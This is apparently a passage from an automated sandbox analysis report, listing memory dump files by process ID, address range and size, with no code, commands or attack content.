memory/4480-362-0x0000000005080000-0x0000000005081000-memory.dmpFilesize
4KB
-
memory/4480-346-0x0000000005030000-0x0000000005031000-memory.dmpFilesize
4KB
-
memory/4480-344-0x0000000005020000-0x0000000005021000-memory.dmpFilesize
4KB
-
memory/4480-343-0x0000000005010000-0x0000000005011000-memory.dmpFilesize
4KB
-
memory/4480-315-0x0000000000000000-mapping.dmp
-
memory/4480-365-0x00000000050A0000-0x00000000050A1000-memory.dmpFilesize
4KB
-
memory/4480-364-0x0000000005090000-0x0000000005091000-memory.dmpFilesize
4KB
-
memory/4480-348-0x0000000005040000-0x0000000005041000-memory.dmpFilesize
4KB
-
memory/4480-366-0x00000000050B0000-0x00000000050B1000-memory.dmpFilesize
4KB
-
memory/4480-326-0x0000000003920000-0x000000000395C000-memory.dmpFilesize
240KB
-
memory/4480-334-0x0000000005000000-0x0000000005001000-memory.dmpFilesize
4KB
-
memory/4480-327-0x00000000001E0000-0x00000000001E1000-memory.dmpFilesize
4KB
-
memory/4480-354-0x0000000005070000-0x0000000005071000-memory.dmpFilesize
4KB
-
memory/4484-258-0x0000000000000000-mapping.dmp
-
memory/4636-319-0x0000000002D90000-0x0000000002EDA000-memory.dmpFilesize
1.3MB
-
memory/4636-341-0x0000000000400000-0x0000000002CBD000-memory.dmpFilesize
40.7MB
-
memory/4636-272-0x0000000000000000-mapping.dmp
-
memory/4664-349-0x0000000000000000-mapping.dmp
-
memory/4688-287-0x00000000004F0000-0x000000000063A000-memory.dmpFilesize
1.3MB
-
memory/4688-281-0x00000000001F0000-0x0000000000200000-memory.dmpFilesize
64KB
-
memory/4688-274-0x0000000000000000-mapping.dmp
-
memory/4736-301-0x0000000000000000-mapping.dmp
-
memory/4736-309-0x0000000000400000-0x0000000000414000-memory.dmpFilesize
80KB
-
memory/4808-325-0x0000000000400000-0x0000000000409000-memory.dmpFilesize
36KB
-
memory/4808-328-0x0000000000402E1A-mapping.dmp
-
memory/4816-288-0x0000000000000000-mapping.dmp
-
memory/4968-299-0x0000000000000000-mapping.dmp
-
memory/4988-259-0x0000000005150000-0x0000000005151000-memory.dmpFilesize
4KB
-
memory/4988-246-0x00000000007D0000-0x00000000007D1000-memory.dmpFilesize
4KB
-
memory/4988-227-0x0000000000000000-mapping.dmp
-
memory/4996-279-0x0000000005590000-0x0000000005591000-memory.dmpFilesize
4KB
-
memory/4996-266-0x0000000000D40000-0x0000000000D41000-memory.dmpFilesize
4KB
-
memory/4996-229-0x0000000000000000-mapping.dmp
-
memory/4996-289-0x0000000005510000-0x0000000005511000-memory.dmpFilesize
4KB
-
memory/4996-292-0x0000000005760000-0x0000000005761000-memory.dmpFilesize
4KB
-
memory/4996-313-0x0000000005C70000-0x0000000005C71000-memory.dmpFilesize
4KB
-
memory/5004-228-0x0000000000000000-mapping.dmp
-
memory/5036-336-0x0000000001010000-0x0000000001011000-memory.dmpFilesize
4KB
-
memory/5036-324-0x0000000077300000-0x000000007748E000-memory.dmpFilesize
1.6MB
-
memory/5036-277-0x0000000000000000-mapping.dmp
-
memory/5036-360-0x0000000005EF0000-0x0000000005EF1000-memory.dmpFilesize
4KB
-
memory/5040-230-0x0000000000000000-mapping.dmp
-
memory/5064-330-0x0000000000000000-mapping.dmp
-
memory/5068-320-0x0000000000400000-0x0000000002C79000-memory.dmpFilesize
40.5MB
-
memory/5068-233-0x0000000000000000-mapping.dmp
-
memory/5068-296-0x0000000002CD0000-0x0000000002CFF000-memory.dmpFilesize
188KB
-
memory/5076-329-0x0000000000000000-mapping.dmp
-
memory/5092-303-0x000001BE6F240000-0x000001BE6F2B4000-memory.dmpFilesize
464KB
-
memory/5092-291-0x00007FF7F4784060-mapping.dmp
-
memory/5104-237-0x0000000000000000-mapping.dmp
-
memory/5104-337-0x000001DFCB8E0000-0x000001DFCB9AF000-memory.dmpFilesize
828KB
-
memory/5124-389-0x00000000007D0000-0x00000000007D1000-memory.dmpFilesize
4KB
-
memory/5124-397-0x0000000005070000-0x000000000509B000-memory.dmpFilesize
172KB
-
memory/5124-374-0x0000000000000000-mapping.dmp
-
memory/5384-386-0x0000000000000000-mapping.dmp
-
memory/5384-388-0x0000000000400000-0x0000000000455000-memory.dmpFilesize
340KB
-
memory/5468-390-0x0000000000000000-mapping.dmp
-
memory/5552-393-0x0000000000000000-mapping.dmp
-
memory/5628-396-0x0000000000000000-mapping.dmp
-
memory/5692-398-0x0000000000000000-mapping.dmp
-
memory/5892-405-0x0000000000000000-mapping.dmp
-
memory/6052-412-0x0000000000000000-mapping.dmp
-
memory/6124-414-0x0000000000000000-mapping.dmp
-
memory/6136-415-0x0000000000000000-mapping.dmp